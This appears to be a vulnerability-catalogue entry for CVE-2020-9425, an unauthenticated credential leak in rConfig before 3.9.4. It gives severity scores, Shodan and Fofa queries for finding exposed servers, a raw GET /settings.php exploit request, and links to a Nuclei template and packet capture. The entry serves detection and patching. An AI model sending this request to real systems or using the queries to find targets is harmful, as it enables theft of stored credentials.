| Title | rConfig <3.9.4 - Sensitive Information Disclosure |
|---|---|
| Author | madrobot |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to gain access to sensitive information, such as usernames and passwords. |
| Remediation | Upgrade rConfig to version 3.9.4 or later to fix the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.49449 |
| CVE ID | CVE-2020-9425 |
| CWE ID | CWE-670 |
| Shodan Query | http.title:"rconfig" |
| Fofa Query | title="rconfig" |
| Tags | cve cve2020 rconfig.exposure rconfig vuln |
rConfig prior to version 3.9.4 is susceptible to sensitive information disclosure. An unauthenticated attacker can retrieve saved cleartext credentials via a GET request to settings.php. Because the application does not exit after a redirect is applied, the rest of the page still executes, resulting in the disclosure of cleartext credentials in the response.
GET /settings.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9425.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-9425.pcap
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